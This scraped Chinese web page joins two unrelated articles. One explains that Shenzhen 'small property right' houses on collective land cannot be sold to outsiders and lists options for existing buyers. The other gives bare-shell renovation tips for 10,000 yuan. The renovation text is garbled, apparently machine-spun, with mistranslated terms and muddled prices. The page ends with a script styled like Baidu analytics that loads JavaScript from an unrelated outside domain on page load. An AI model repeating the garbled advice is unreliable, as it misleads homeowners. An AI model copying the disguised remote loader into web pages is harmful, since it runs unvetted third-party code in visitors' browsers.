深圳小产权房子能买吗、已经购买了小产权房怎么办

房产的买卖并不是一个简单的事情，我们并不能够一手交钱一手就可以享受房产带来的利益，因为前期关于产权问题值得学习的知识还有很多，比如今天提及的深圳小产权房子买卖方面就应该着重加以注意。一般来说，小产权的房子是不支持买卖的，并且对于已经购置类似房产的朋友来说，为了避免风险，最好采取相对应的措施进行操作和改善。一、深圳小产权房子能买吗深圳小产权房不可以买卖，小产权房只可以集体内部买卖，不可以对外销售的。1、乡镇政府发证的所谓小产权房产，实际上没有真正的产权。这种房没有国家发的土地使用证和预售许可证，购房合同国土房管局也不会给予备案。2、所谓产权证也不是真正合法有效的产权证。国家明令禁止小产权房不能买卖的，但是对于拥有小产权房集体土地的本村户口的居民来讲是可以相互转让的，对于外村的户口居民来讲是不能买卖的。3、所谓“小产权”是指在农民集体土地上建设的房屋，未缴纳土地出让金等费用，其产权证不是由国家房管部门颁发，而是由乡政府或村政府颁发，所以叫做“乡产权”，又叫“小产权”。二、已经购买了小产权房怎么办如果已经购买了小产权房，因国家不会发放产权证，这将导致以后对购房者一系列不利的后果。应该如何最大程度来维护小产权房购买者的合法权益呢?根据不同的情况，购房者可以采用的措施如下：1、如果已签了合同但尚未取得产权证明，并且该房屋系在集体土地上建设，且购房者非当地居民，鉴于可能的政策风险和法律风险，可以请求解除合同并退回已支付的购房款，这是最直接的方法。2、如果购买了当地居民的农民房或从他人手上购买了有产权证明的“红证房”，房款已经支付且已经入住，但无法办理过户的，则要视具体情况而定。3、如果已经购买了集体土地上建造的房屋并取得了当地乡政府颁发的产权证明或土地使用证明的，可以自己居住或者出租，或者出售给有当地户口的居民。4、如果是在建的集体建设用地上的商品住宅项目，在委托专业机构评估市场风险和法律风险之后，则应当按照现有的土地管理规范，完成土地征用手续，并按照商品住房项目的规定手续报批，采取可能的补救措施。首先，我们分析了深圳小产权房子买卖的问题，并且得出结论：不建议大家购置深圳小产权房子。其次针对已经购置类似房产的朋友来说，我们还进一步分析了可以采取的措施、应该注意的事项，包括已签了合同但尚未取得产权证明、购买了有产权证明的“红证房”等等不同朋友角度进行的建议和分析，帮助大家及时调整路线、避免额外的损失。

毛坯房1万元能装修下吗 怎样才能省钱

毛坯房1万元能装修下吗?拥有自己的房子并不容易，装修可以节省一些。我们来看看如何用10000元装饰毛坯房。一起往下看吧！毛坯房1万元能装修下吗在目前的市场上，工人的钱远远超过许多小物品的材料成本，所以尽量亲自去做，或者请家人和朋友。一些专业工具可用于租用电动工具。更便宜一些。功能上，由于预算有限，不要追求花哨，简单的装饰，实用。在装饰浴室时，浴室地板和下面的墙壁应该是防水的。防水后，有必要进行防水测试。由于浴室厨房的水每天都在使用，因此必须防水。厨房，厕所，阳台和餐馆需要地砖，因为它们经常处理水。参考价格一般为35-80元/平方米。工程厕所可以买到200元左右，质量大多在700元以上。建议将地面整平，否则放置任何材料都不好。如果自流平材料特别不均匀，可以使用水泥砂浆。如果只是一个小的不均匀，你可以选择自流平材料。地面平整后可铺设的地面有几种选择：一是强化地板，二手地板价格约为15-25元/m2，新楼价为40-60元/m2。第二种是地板革，可以在网上或实体店购买。第三是铺设地砖。建议您在具有强大的动手能力时再选择铺设自己的瓷砖，以避免铺设不规则。通过以上分析，我们可以看到毛坯房1万元能装修下吗这个问题的答案是可行的。对于年轻人来说，我们可以参考简单的装修需求，1万元对于硬装仍然过于紧张。建议不要在使用频率较高的材料上选择便宜的，适当节省省钱，享受一下简单装饰DIY的乐趣。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();